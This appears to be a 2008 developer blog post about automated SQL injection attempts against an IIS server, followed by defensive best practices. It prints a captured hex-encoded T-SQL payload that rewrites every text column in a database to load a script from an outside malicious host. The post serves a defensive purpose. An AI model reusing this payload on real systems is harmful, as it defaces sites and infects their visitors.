I noticed one of our client’s IIS web servers was getting a lot of SQL Injection attempts this past week. These attacks pass T-SQL code into querystring parameters in hopes that the application is not checking inputs.

Here’s the code: (I removed the SQL exec() statement and replaced it with print so you can see the unencoded SQL.)

DECLARE @S VARCHAR(4000);SET @S=CAST(0×4445434C4152452040542
05641524348415228323535292C4043205641524348415228323535292
04445434C415245205461626C655F437572736F7220435552534F52204
64F522053454C45435420612E6E616D652C622E6E616D652046524F4D2
07379736F626A6563747320612C737973636F6C756D6E7320622057484
5524520612E69643D622E696420414E4420612E78747970653D2775272
0414E442028622E78747970653D3939204F5220622E78747970653D333
5204F5220622E78747970653D323331204F5220622E78747970653D313
63729204F50454E205461626C655F437572736F72204645544348204E4
558542046524F4D205461626C655F437572736F7220494E544F2040542
C4043205748494C4528404046455443485F5354415455533D302920424
547494E20455845432827555044415445205B272B40542B275D2053455
4205B272B40432B275D3D525452494D28434F4E5645525428564152434
841522834303030292C5B272B40432B275D29292B27273C73637269707
4207372633D687474703A2F2F7777772E393868732E72752F6A732E6A73
3E3C2F7363726970743E27272729204645544348204E4558542046524F4
D205461626C655F437572736F7220494E544F2040542C404320454E4420
434C4F5345205461626C655F437572736F72204445414C4C4F434154452
05461626C655F437572736F7220 AS VARCHAR(4000));

print @S;

This particular attack is well known and has been sighted in several variants:

http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx

http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx

Using the following web application best practices, we avoid getting hacked:

• Application level:
  • Never trust user input (e.g. querystring or form posts). Always consider that user input may contain exploit code and check it appropriately.
  • Always use Stored Procedures and/or Parameterized database queries. Don’t build SQL queries using string concatenation.
  • Use typed variables when possible. Converting a querystring parameter to an integer before passing it to a SQL query can inhibit some attacks.
• Database level:
  • Use limited database permissions. For example, for SQL Server, don’t let you application run under the “sa” user. The database user should only have permission in the particular database used by the application.
  • If possible, disable extended stored procedures such as xp_cmdshell.
  • Don’t use dynamic SQL. Dynamic SQL can be just as bad as building queries using string concatenation.
    Some DBAs have server-wide policies of no Dynamic SQL.

• Web server level:
  • If appropriate, filter requests. IIS 7 offers requestFiltering options. http://msdn.microsoft.com/en-us/library/ms689462.aspx
    For example, the maxQueryString parameter could be used to block the exploit attempt above.
  • For II6: http://technet.microsoft.com/en-us/security/cc242650.aspx
• Miscellaneous
  • Install security patches as soon as they become available.

The application level is crucial. Since a web application may someday be moved to a new server, we can’t assume that the web server and database have been configured using best practices.

All layers of security are important, though: If you’re using a third-party or closed-source web application, you may not have access to application code. In that case, the Database and Web Server layers are your last defense against exploits in improperly written code.

Related Posts

• March 25, 2009 -- Tightening up iptables for a dedicated DB server (MySQL and CentOS) (1)
• January 7, 2009 -- 2009, the year of Open Source Software (0)
• December 7, 2008 -- A list of CMS and eCommerce systems that officially support jQuery (2)
• December 3, 2008 -- Securing Joomla! CMS based sites (0)
• November 3, 2008 -- jQuery Emerges as Most Popular Javascript Library for Web Development (2)
• October 6, 2008 -- Ektron CMS400 7.0 issues with .NET Framework 3.5 SP1 (2)
• September 5, 2008 -- Joomla vs Ektron (2)
• July 30, 2008 -- Ektron: Clarification on User Controls vs API (0)